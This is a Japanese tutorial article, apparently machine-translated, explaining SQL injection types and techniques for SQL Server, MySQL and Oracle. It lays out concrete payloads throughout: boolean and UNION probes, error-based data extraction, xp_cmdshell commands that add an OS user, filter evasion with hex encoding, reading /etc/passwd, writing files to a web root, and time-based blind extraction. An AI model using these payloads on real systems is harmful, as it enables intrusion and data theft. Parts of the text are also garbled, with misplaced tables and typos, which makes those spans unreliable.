ホームページ > 運用・保守 > 安全性 > SQL インジェクションの 3 つの方法は何ですか?

SQL インジェクションの 3 つの方法は何ですか?

青灯夜游
リリース: 2020-07-20 16:46:31
オリジナル
21374 人が閲覧しました

SQL インジェクションには 3 つの方法があります: 1. 数値インジェクション; 入力パラメータが整数の場合、数値インジェクションの脆弱性が存在する可能性があります。 2. 文字インジェクション; 入力パラメータが文字列の場合、文字インジェクションの脆弱性が存在する可能性があります。 3. その他のタイプ (例: 検索インジェクション、Cookie インジェクション、POST インジェクションなど)。

SQL インジェクションの 3 つの方法は何ですか?

##SQL インジェクションの原則SQL インジェクション攻撃とは、Web に渡される特別な入力を構築することを指します。アプリケーションをパラメータとして使用する場合、これらの入力のほとんどは SQL 構文の組み合わせです。SQL ステートメントを実行することで、攻撃者は必要な操作を実行します。主な理由は、プログラムがユーザーが入力したデータを慎重にフィルタリングしていないため、不正なデータが生成されることです。侵入システム。

#SQL インジェクションの分類

1. 数値インジェクション

入力パラメータが整数の場合、数値インジェクションの脆弱性が存在する可能性があります。

URL があるとします:

HTTP://www.aaa.com/test.php?id=1

バックグラウンド SQL ステートメントは次のように推測できます: SELECT * FROM table WHERE id=1

数値脆弱性の SQL インジェクションポイントを決定する

:

① まず入力ボックスに入力します一重引用符

'

を入力すると、SQL ステートメントは次のようになります:

SELECT * FROM table WHERE id=1'

,

は構文に準拠していないため、このステートメントは間違いなく間違っており、スクリプト プログラムがデータベースからデータを取得できなくなり、元のページが異常になります。

② 入力ボックスに

and 1 = 1

# と入力すると、SQL ステートメントは次のようになります:

SELECT * FROM table WHERE id=1 and 1 = 1

ステートメントは正しく、正常に実行されます。返されるデータは元のリクエストと変わりません。

③ データベースに

and 1 = 2

# と入力すると、SQL ステートメントは次のようになります: SELECT * FROM table WHERE id=1 および 1 = 2

構文は正しく、ステートメントは正常に実行されますが、1 = 2 が永続的に false であるためロジックが間違っており、返されるデータは元のデータと異なります。リクエスト。

上記の 3 つの手順がすべて満たされている場合、プログラムには数値 SQL インジェクションの脆弱性がある可能性があります。

2. 文字インジェクション

入力パラメータが文字列の場合、文字インジェクションの脆弱性が存在する可能性があります。数値注入と文字注入の最大の違いは、数値型は一重引用符で閉じる必要がないのに対し、 文字型は通常一重引用符で閉じる必要があることです。

文字インジェクションで最も重要なことは、

SQL ステートメント を閉じて 冗長コード

をコメント化する方法です。

バックグラウンド SQL ステートメントが次のとおりであると仮定します。 SELECT * FROM table WHERE username = 'admin'


文字を決定するための SQL インジェクション ポイントtype vulnerabilities:

① 最初に単一引用符を入力することをお勧めします admin' to test

このような SQL ステートメントは次のようになります。 SELECT * FROM table WHERE ユーザー名 = 'admin''

ページ例外。

② 入力:

admin' および 1 = 1 --

注: admin '# の後には単一引用符があります。 # #、文字列を閉じるために使用され、最後にコメント文字 -- があります (

2 つのバーの後にはスペースがあります!!!

)。 SQL ステートメントは次のようになります: SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

ページは正しく表示されます。 。

③ 入力: admin' および 1 = 2 --

SQL ステートメントは次のようになります: SELECT * FROM テーブル WHERE ユーザー名 = 'admin' および 1 = 2 --

ページ エラー。

上記の 3 つの手順が満たされている場合、文字 SQL インジェクションが存在する可能性があります。

3. その他のタイプ

実際には、SQL インジェクションには数値と文字の 2 種類しかないと思います。他にもCookieインジェクション、POSTインジェクション、ディレイドインジェクションなどの方法があると言う人も多いかもしれません。 これは確かに事実ですが、これらのタイプの注入は、最終的には数値および文字の注入の異なる表現形式、または異なる注入位置にすぎません。 一般的なインジェクション名は次のとおりです。

POST インジェクション: 挿入されたフィールドは POST データ内にあります。

Cookie インジェクション: 注入されたフィールドは Cookie 内にあります。 data

遅延インジェクション: データベース遅延機能を使用したインジェクション
  • 検索インジェクション: インジェクション ポイントは検索場所です
  • base64 インジェクション: 挿入された文字列は Base64 暗号化する必要があります
  • 一般的なデータベース インジェクション

データベース インジェクションの場合、攻撃者はデータベースを使用してより多くのデータやより大きな権限を取得することに他なりません。使用方法 次のカテゴリに要約できます。 データのクエリ

ファイルの読み取りと書き込み

コマンドの実行
  • # #プログラム注入の場合、攻撃者 どのデータベースでもこれら 3 つのことを実行しますが、異なるデータベースに注入される SQL ステートメントは異なります。
  • ここでは、Oracle 11g、MySQL 5.1、SQL Server 2008 の 3 つのデータベースのインジェクションを示します。

    SQL Server

    1. エラー メッセージを使用して情報を抽出します

    SQL Server データベースはa 攻撃者はエラー メッセージから必要なデータを抽出できるため、エラー情報を正確に特定できる優れたデータベースは攻撃者にとって非常に有益です。

    ① 現在のテーブルまたは列を列挙します。

    このようなテーブルが存在すると仮定します。

    SQL インジェクションの 3 つの方法は何ですか?
    ルートの詳細をクエリします。 user Information の SQL ステートメントの推測は次のとおりです:
    SELECT * FROM user WHERE username = 'root' AND passwd = 'root'

    攻撃者は SQL Server の機能を使用して、次のことを行うことができます。機密情報を取得します。入力ボックスに次のステートメントを入力します:
    ' getting 1 = 1 --
    最後に実行される SQL ステートメントは次のようになります:
    SELECT * FROM user WHERE ユーザー名 = 'root' AND パスワード = 'root' HAVING 1 = 1 --

    SQL エグゼキュータはエラーをスローする可能性があります:
    SQL インジェクションの 3 つの方法は何ですか?

    攻撃者 あなた現在のテーブル名が user であり、フィールド ID が存在することがわかります。

    攻撃者は、次のステートメントを入力することで、この機能を使用して他の列名を取得し続けることができます:
    ' GROUP BY users.id HAVING 1 = 1 --
    Then SQL ステートメントは For:
    SELECT * FROM user WHERE username = 'root' AND passwd = 'root' GROUP BY users.id HAVING 1 = 1 --

    エラーがスローされます:
    SQL インジェクションの 3 つの方法は何ですか?
    列名 username が含まれていることがわかります。エラー メッセージが返されなくなるまで再帰的にクエリを実行できるため、HAVING 句を使用して現在のテーブルのすべての列名を取得できます。
    注: この列に集計関数が使用されていない限り、Select で指定された各列は Group By 句に表示される必要があります。

    ②. データ型エラーを使用した抽出 データ

    文字列を文字列以外と比較しようとしたり、文字列を互換性のない別の型に変換しようとしたりすると、SQL エディターは例外をスローします。

    次の SQL ステートメント:
    SELECT * FROM user WHERE ユーザー名 = 'abc' AND パスワード = 'abc' AND 1 > (SELECT TOP 1 ユーザー名 FROM ユーザー)

    Executor エラー メッセージ:
    SQL インジェクションの 3 つの方法は何ですか?
    これにより、ユーザーのユーザー名 root を取得できます。サブクエリ SELECT TOP 1 username FROM users では、最初にクエリされたユーザー名が返されるため、戻り値の型は varchar 型であり、次に int 型の 1 と比較されます。2 つの型は異なります。データを指定することはできません。比較するとエラーが報告され、データ漏洩につながります。

    このメソッドを使用してすべてのアカウント情報を再帰的に推定します:
    SELECT * FROM users WHERE username = 'abc' AND Password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE) ('root')) にはありません。
    このステートメントを作成すると、次のユーザー名を取得できます。サブクエリ内のユーザー名を他のカラム名に置き換えると、ここでは説明しませんが、他のカラムの情報も取得できます。

    2. メタデータの取得

    SQL Server には、メタデータの取得を容易にする多数のビューが用意されています。まずテーブル内の列の数を推測し、次に UNION を使用して SQL ステートメントを構築し、データを取得します。
    例:
    SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
    現在のテーブルの列数の場合が 2 の場合、現在のデータベース テーブルは UNION ステートメントで取得できます。現在のテーブルの列数を推測する方法については後述します。

    一般的に使用されるシステム データベース ビュー:

    #SYSOBJECTSデータベース内に作成されたすべてのオブジェクト (制約、ログ、ストアド プロシージャを含む)

    3. ORDER BY 句は列数を推測します

    ORDER BY ステートメントを使用して、現在のテーブルの列数を確認できます。

    例:
    SELECT * FROM users WHERE id = 1——SQL の実行は通常です

    SELECT * FROM users WHERE id = 1 ORDER BY 1 (最初の列でソート) - SQL 実行は通常です

    SELECT * FROM users WHERE id = 1 ORDER BY 2 (2 番目の列でソート) - SQL 実行は通常です

    SELECT * FROM users WHERE id = 1 ORDER BY 3 (3 番目の列でソート)—SQL 実行は通常です

    SELECT * FROM users WHERE id = 1 ORDER BY 4 (4 番目の列でソート) - SQL は例外をスローします:
    SQL インジェクションの 3 つの方法は何ですか?
    現在の列の数は次のとおりであると結論付けることができます。列 4 でソートするときにエラーが発生したため、テーブルは 3 列のみです。この方法は、Oracle データベースと MySql データベースにも適用されます。

    攻撃者は列数を知った後、通常 UNION キーワードと連携して次の攻撃を実行します。

    4. UNION クエリ

    UNION キーワードは、2 つ以上のクエリ結果を 1 つの結果セットに結合します。ほとんどのデータベースは UNION クエリをサポートしています。ただし、UNION を使用して 2 つの結果をマージするには、次の基本ルールがあります。

    • すべてのクエリの列の数は同じである必要があります
    • データ型には互換性がある必要があります

    ① UNION クエリを使用して列数を推測する
    ORDER BY メソッドを使用して列数を推測するだけでなく、UNION メソッドも使用できます。も使用できます。

    前に仮定したユーザー テーブルには 5 つの列があります。UNION を使用してクエリを実行すると:
    SELECT * FROM users WHERE id = 1 UNION SELECT 1
    データベースは次のようになります。問題例外:
    SQL インジェクションの 3 つの方法は何ですか?
    エラーが発生しなくなるまで再帰的にクエリを実行すると、User テーブル内のクエリ フィールドの数を知ることができます:
    UNION SELECT 1,2, UNION SELECT 1,2,3

    SELECT の後の番号を null に変更して、非互換性例外が発生する可能性を低くすることもできます。

    ② 機密情報のユニオン クエリ
    列の数が 4 であることがわかったら、次のステートメントを使用して挿入を続行できます:
    UNION SELECT ' x'、null、null、null FROM SYSOBJECT WHERE xtype='U' (注: xtype='U' はオブジェクト タイプがテーブルであることを意味します)

    最初の列のデータ型がテーブルである場合一致しない場合、データベースはエラーを報告します。その後、ステートメントに互換性が得られるまで再帰的にクエリを実行できます。ステートメントが正常に実行されると、x を SQL ステートメントに置き換えて機密情報をクエリできます。

    5. SQL Server が提供するシステム関数を使用する

    SQL Server には多くのシステム関数が用意されており、このシステム関数を使用して SQL 内の情報にアクセスできます。サーバー システム テーブル。SQL クエリ ステートメントを使用しません。

    例:

    • SELECT suser_name(): ユーザーのログイン ID 名を返します。
    • SELECT user_name(): 指定された ID に基づいてデータベース ユーザー名を返します。
    • SELECT db_name(): データベース名を返します
    • SELECT is_member('db_owner'): データベース ロールかどうか
    • SELECT Convert(int, '5' ): データ型変換

    6. ストアド プロシージャ

    ストアド プロシージャ (ストアド プロシージャ) は、特定の関数を完了するために使用される SQL "関数" のセットです。システム コマンドの実行、レジストリの表示、ディスク ディレクトリの読み取りなどの大規模なデータベース システム。

    攻撃者が最もよく使用するストアド プロシージャは "xp_cmdshell" です。このストアド プロシージャを使用すると、ユーザーはオペレーティング システム コマンドを実行できます。
    例: http://www.aaa.org/test.aspx?id=1 にインジェクション ポイントがある場合、攻撃者はコマンド攻撃を実行できます:
    http: //www.aaa.org/test.aspx?id=1; exec xp_cmdshell 'net user test test /add'

    最終的に実行された SQL ステートメントは次のとおりです:
    SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
    セミコロンの後のステートメントは、相手側の攻撃者の新しいユーザー名テストとパスワード テストを作成できます。サーバー、ユーザー、
    注: このタイプのストアド プロシージャをデータベース ユーザーが使用できるわけではありません。ユーザーは CONTROL SERVER 権限を保持している必要があります

    一般的な危険なストアド プロシージャは次のとおりです。

    データベース ビュー 説明
    ##SYS.DATABASES SQL Server のすべてのデータベース
    SYS.SQL_LOGINS SQL Server のすべてのログイン
    INFORMATION_SCHEMA.TABLES 現在のユーザー データベース内のすべてのデータ テーブル
    INFORMATION_SCHEMA.COLUMNS 現在のユーザーのすべての列データベース
    SYS.ALL_COLUMNS ユーザー定義オブジェクトとシステム オブジェクトのすべての列の結合
    SYS .DATABASE_PRINCIPALS データベース内の各権限または列の例外権限
    SYS.DATABASE_FILES データベースに保存されているデータベース ファイル
    ##xp_enumgroupsMicrosoft Windows ローカル グループ リストを提供するか、指定された Windows ドメインでグローバル グループ リストを定義しますxp_regreadレジストリの読み取りxp_regwriteレジストリの書き込みxp_redeletevalueレジストリの削除xp_dirtreeディレクトリの読み取りsp_passwordパスワードの変更xp_servicecontrolサービスの停止またはアクティブ化

    さらに、特殊な関数やストアド プロシージャを使用する場合、データベースには特定のアクセス許可が必要です。一般的な SQL Server データベースのロールと権限は次のとおりです:

    ストアド プロシージャ 説明
    sp_addlogin ユーザーが SQL Server ID を使用して SQL Server インスタンスに接続できるようにする新しい SQL Server ログインを作成します
    sp_dropuser 現在のデータベースからデータベース ユーザーを削除します
    #diskadminディスク ファイルを管理できますprocessadminデータベース エンジンで実行されているインスタンスをプラントできますsecurityadminログイン名とその属性を管理できます。サーバー レベルの権限の GRANT、DENY、および REVOKE を利用できます。また、データベース レベルの権限の GRANT、DENY、および REVOKE も利用できます。 ; さらに、SQL Server ログインのパスワードの設定をやり直すこともできますserveradminサーバー全体の構成オプションを変更したり、サーバーをシャットダウンしたりできますsetupadminリンク サーバーを追加および削除でき、特定のシステム ストアド プロシージャを実行できますsysadminできるデータベース エンジンで任意のアクティビティを実行します

    7. 動的実行

    SQL Server はステートメントの動的実行をサポートしており、ユーザーは string を送信して SQL ステートメントを実行できます。

    例: exec('SELECT ユーザー名、パスワード FROM ユーザー')

    exec 関数を使用して、16 進数の SQL ステートメントを定義して実行することもできます。ほとんどの Web アプリケーションとファイアウォールは一重引用符をフィルターします。exec を使用して 16 進 SQL ステートメントを実行すると、多くのファイアウォールやアンチインジェクション プログラム (例:

    declare @query varchar(888)
    select @query=0x73656C6563742031
    exec(@query)
    ログイン後にコピー

    または:
    declare/ **&) を突破できます。 #&*/varchar(888)/**/@クエリ/**/@query=0x73656C6563742031/**/選択する/**/: /* から */ ## までの文字

    # をコメント化します。 2. メタデータの取得MySQL 5.0 以降では、データベース メタデータにアクセスする方法を提供する情報データベースである INFORMATION_SCHEMA が提供されます。そこからデータベース名、テーブル名、列名を読み取る方法は次のとおりです。

    ① ユーザー データベース名のクエリを実行します。

    SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

    INFORMATION_SCHEMA.SCHEMATA テーブルには、データベースに関する情報が表示されます。

    ②現在のデータ テーブルをクエリします

    SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())

    INFORMATION_SCHEMA.TABLES テーブルは、データベース。
    • ③指定されたテーブルのすべてのフィールドをクエリします
    • SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
    • INFORMATION_SCHEMA.COLUMNS テーブルは列情報を提供します。

    3. UNION クエリ

    は SQL Server とほぼ同じであるため、ここでは説明しません。

    4. MySQL 関数の利用法
    MySQL、Oracle、その他のデータベースには、多くの組み込みシステム関数があり、これらのデータベース関数は非常によく似ています。ペネトレーションテスターに​​役立つMySQL関数をいくつか紹介します。

    ①load_file() 関数のファイル読み取り操作
    MySQL は、ユーザーがファイルをすばやく読み取れるようにするために、load_file() 関数を提供しますが、ファイルの場所は次の場所にある必要があります。 server の場合、ファイルは絶対パスである必要があり、ユーザーは FILE 権限を持っている必要があり、ファイル容量は max_allowed_pa​​cket バイト未満である必要があります (デフォルトは 16MB、最大は 1GB)。

    SQL ステートメントは次のとおりです:


    UNION SELECT 1、load_file('/etc/passwd')、3、4
    #通常は何らかのアンチインジェクションステートメントは使用できません。一重引用符が表示される場合は、次のステートメントを使用して回避できます。

    UNION SELECT 1,load_file(0x2F6561342F706173737764), 3, 4 #"0x2F6561342F706173737764" は 16 番目です。 「/etc/passwd」 基本の変換結果。

    ブラウザがデータを返す場合、文字化けが発生する場合があるため、hex() 関数を使用して文字列を 16 進データに変換できます。

    ② outfile ファイル書き込み操作

    MySQL は、ファイルをディスクに書き込む操作を提供します。load_file() と同様、FILE 権限が必要で、ファイルがいっぱいである必要があります。 . パス名。

    ファイル:SELECT '' を oufile 'C:\wwwroot\1.php'

    に書き込みます

    ③ 接続文字列


    MySQL 一度に複数のデータをクエリする必要がある場合は、 concat() または concat_ws() 関数を使用して完了できます。

    SELECT name FROM Student WHERE id = 1 UNION SELECT concat(user(), ',',database(), ',', version())
    ;カンマを 16 進表現に変更することもできます: 0x2c

    5. MySQL の明示的なエラー インジェクション

    MySQL にも明示的なエラー インジェクションがあり、これは SQL Server データベースと同様です。 、エラー抽出メッセージを使用します。

    ① updatexml 関数を通じて SQL ステートメントを実行する


    まず updatexml() 関数を理解します: updatexml (XML_document, XPath_string, new_value);最初のパラメーター: XML_document は、XML ドキュメント オブジェクトの名前である文字列形式です;

    2 番目のパラメータ: XPath_string (Xpath 形式の文字列)、

    3 番目のパラメータ: new_value、文字列形式、見つかった一致条件データを置き換えます

    SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version)))), 1)

    concat () 関数これを文字列に連結するため、XPATH_string の形式に準拠せず、形式エラー、エラー、および認識できないコンテンツが発生します:

    ② extractvalue 関数を通じて
    #SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user()))) 同じエラーが報告され、現在のユーザーが表示されます:

    SQL インジェクションの 3 つの方法は何ですか?

    6. ワイド バイト インジェクション

    ワイド バイト インジェクションは ## によって発生します。 #エンコーディングの不一致

    原因として、この種のインジェクションは通常、PHP MySQL で発生します。 PHP 設定ファイル php.ini には、マジック クォートと呼ばれる magic_quotes_gpc オプションがあります。このオプションがオンになっている場合、

    一重引用符 (') を使用し、二重引用符は GET、POST で受け入れられます。 、および Cookie。引用符 (")、バックスラッシュ ()、および NULL 文字は、バックスラッシュ

    で自動的にエスケープされます。 $_GET を使用してパラメーターを受け取るには、次のように PHP コードを使用します。


    SQL インジェクションの 3 つの方法は何ですか?URL:

    http:/www.xxser.com/Get.php?id='

    にアクセスすると、次のように表示されます。
    SQL インジェクションの 3 つの方法は何ですか?一重引用符

    '

    をエスケープすると、\' になります。MySQL では、\' は有効な文字であるため、一重引用符を閉じる方法がないため、注入タイプが文字タイプの場合、注入は形成できません。ただし、「

    �'

    」と入力した場合は、URL: http にアクセスしてください。 :/www.xxser.com/Get.php?id =�' とすると、表示は次のようになります。
    今回は一重引用符がエスケープされていないことがわかりますので、 PHP エスケープを突破し、SQL インジェクションのために SQL ステートメントを閉じ続けることができること。SQL インジェクションの 3 つの方法は何ですか?

    7. MySQL の長い文字の切り捨て

    MySQL の長い文字の切り捨ても知られています。

    MySQL の設定には sql_mode オプションがあります。sql_mode がデフォルトに設定されている場合、つまり STRICT - ALL_TABLES オプションがオンになっていない場合、MySQL は警告のみを表示します。過度に長い値を挿入するとエラーが発生する代わりに、

    #次のようなテーブルがあるとします:

    ユーザー名フィールドの長さは 7 です。それぞれの SQL ステートメント:
    ① 通常の SQL ステートメントを挿入: SQL インジェクションの 3 つの方法は何ですか?
    INSERT users(id, username, password) VALUES( 1, 'admin', 'admin');



    正常に挿入されました。② ユーザー名フィールドの長さが 7 を超えるように間違った SQL ステートメントを挿入します:
    SQL インジェクションの 3 つの方法は何ですか?INSERT users(id, username, password) VALUES(2, 'admin) ', 'admin');


    警告は出ましたが、挿入は成功しました。③ 長さを超える不正な SQL ステートメントを再度挿入してください。元の指定長:
    SQL インジェクションの 3 つの方法は何ですか?INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;


    クエリ データベース:
    SQL インジェクションの 3 つの方法は何ですか?3 つのデータすべてがデータベースに挿入されましたが、値が変更されていることがわかります。デフォルトでは、MySQL はデータがデフォルトの長さを超えるとステージングします。

    しかし、このように攻撃するにはどうすればよいでしょうか?ユーザー名 admin:
    SQL インジェクションの 3 つの方法は何ですか?
    でユーザーをクエリすると、ユーザー名 admin のユーザーだけがクエリされるが、長さが一致しない他の 2 人の管理ユーザーもクエリされることがわかります。セキュリティ上の問題が発生する可能性があります。

    たとえば、ログイン時にこれを判断する管理者がいます:
    SQL インジェクションの 3 つの方法は何ですか?$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND Password = '*** '";

    その後、攻撃者は、指定された長さを超えるユーザー名「admin」を登録するだけで、バックエンド管理ページに簡単にアクセスできます。
    8. 遅延噴射

    遅延噴射はブラインド噴射技術の一種で、時間差に基づいた噴射技術です。以下では、遅延注入を導入する例として MySQL を使用します。

    MySQL には関数 sleep(duration) があります。この関数は、duration パラメータが数秒間指定された後にステートメントを実行することを意味します。次の SQL ステートメント:

    SELECT * FROM users WHERE id = 1 AND sleep(3)

    は、SQL ステートメントが 3 秒後に実行されることを意味します。

    この関数を使用すると、URL に SQL インジェクションの脆弱性があるかどうかを判断できます . 手順は次のとおりです:
    SQL インジェクションの 3 つの方法は何ですか?
    これは、URL から返された世界から結論付けることができます。 DBMS が実行したページの と sleep (3) ステートメントを確認することで、URL に SQL インジェクションの脆弱性があると判断できます。

    その後、sleep()関数でもデータを読み込むことができますが、他の関数と連携する必要があるため、手順は以下の通りです:
    ①現在のユーザーにクエリを実行し、文字列長を取得する
    SQL ステートメントを実行します:
    AND if(length(user()) = 0, sleep(3), 1)
    3 秒の遅延がある場合、ユーザー文字列の長さを決定できます。ハーフアルゴリズムは通常、注入時の判断を減らすために使用されます。

    ② 文字列の最初の文字をインターセプトして ASCII コードに変換します。
    AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
    AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
    ....
    は変化し続ける ASCII コードが表示されるまで 3 秒の遅延の後、最初の文字を推測できます。

    ③ 文字列の各文字を再帰的にインターセプトし、それぞれ ASCII コードと比較します
    AND if(hex(mid(user(), L, 1)) = N, sleep(3 )、1)
    注: L の位置は文字列の文字を表し、N の位置は ASCII コードを表します。

    遅延関数は MySQL に存在するだけでなく、SQL Server や Oracle などのデータベースにも同様の機能を持つ関数があります。たとえば、SQL Server の waitfor late や Oracle の DBMS_LOCK.SLEEP などです。

    #Oracle

    1. メタデータの取得

    Oracle は、次のようにメタデータのクエリもサポートしています。 Oracle によって挿入される一般的に使用されるメタデータ ビューです。

    ① user_tablespaces ビュー、テーブル スペースの表示

    SELECT tablespace_name FROM user_tablespaces

    ② user_tables ビュー、現在のユーザーのすべてのテーブルの表示


    SELECT table_name FROM user_tables WHERE rownum = 1

    ③ user_tab_columns ビュー、現在のユーザーのすべての列を表示します (ユーザー テーブルのすべての列のクエリなど):


    SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

    ④ all_users ビュー、Oracle データベースのすべてのユーザーを表示


    SELECT username FROM all_users

    ⑤ user_objects ビュー、ユーザーの現在のすべてのオブジェクト (テーブル名、制約、インデックス) を表示します


    SELECT object_name FROM user_objects

    2. UNION クエリ

    Oracle と MySQL また、セミコロンで区切って複数の SQL ステートメントを挿入できる SQL Server とは異なり、複数のステートメントの実行もサポートしていません。

    ①列の合計数を取得する列の合計数を取得する方法は、前の 2 つのデータベースと似ており、ORDER BY 句を使用して完了することができます。

    もう 1 つの方法は、UNION キーワードを使用して決定することですが、

    Oracle では、各クエリの後にテーブル名を指定する必要があると規定しています。そうしないと、クエリは確立されません

    Oracle で使用できます:


    UNION SELECT null, null, null ...... FROM Dualここでの Dual は Oracle の仮想テーブルです。不明なデータベース テーブルが存在する場合、このテーブルをクエリ テーブルとして使用できます。

    次に、数値以外の列、つまり情報を表示できる

    列を取得します。 :
    UNION SELECT 'null', null, null, …… FROM Dual
    UNION SELECT null, 'null', null, …… FROM Dual

    null を一重引用符 ',Ifエラーが報告された場合、文字列型の column ではありません。 が正常に返された場合、文字列型の column であり、対応する位置にクエリ ステートメントを挿入して情報を取得できます。

    #② 機密情報の取得

    一般的な機密情報は次のとおりです:

    現在のユーザー権限:
      SELECT * FROM session_roles
    • 現在のデータベース バージョン:
    • SELECT バナー FROM sys.v_$version WHERE rownum = 1
    • サーバー エクスポート IP: これは
    • utl_http.request## で実現できます。
    • #サーバー リスニング IP: SELECT utl_inaddr.get_host_address FROM Dual
    • サーバー オペレーティング システム: SELECT member FROM v$logfile WHERE rownum = 1
    • サーバー SID: SELECT インスタンス名 FROM v$instance
    • 現在接続されているユーザー: SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM Dual
    • ③ データベース テーブルとその内容を取得します

    テーブル内の列の数がわかったら、メタデータをクエリしてテーブル名と列名をクエリできます。次のようなデータをクエリします: http://www.aaa.org/new.jsp?id=1 UNION SELECT ユーザー名、パスワード、null FROM users --

    注: 支払いデータをクエリするときは、データに注意してください。入力しない場合はクエリできず、1 つずつテストしてパラメータのクエリ位置を変更することしかできません。

    Role Permission
    bulkadmin BULK INSERT ステートメントを実行できます
    dbcreator 任意のデータベースを作成、変更、削除、復元できます

以上がSQL インジェクションの 3 つの方法は何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート